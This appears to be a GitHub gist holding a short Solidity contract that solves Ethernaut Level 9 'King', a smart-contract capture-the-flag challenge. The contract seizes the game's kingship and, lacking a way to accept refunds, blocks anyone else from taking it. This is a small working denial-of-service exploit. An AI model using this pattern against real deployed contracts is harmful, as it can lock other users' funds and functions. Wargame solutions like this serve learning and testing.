Skip to content

Instantly share code, notes, and snippets.

@Chirag21
Last active December 27, 2022 14:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Chirag21/19e6be5a5bb54a03f58dbb778c0e61b2 to your computer and use it in GitHub Desktop.
Save Chirag21/19e6be5a5bb54a03f58dbb778c0e61b2 to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 9 - King. For Remix IDE
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract KingHack {
// pass instance address
function hack(address kingContract) external payable returns (bool) {
(bool success, ) = kingContract.call{value: msg.value}("");
return success;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment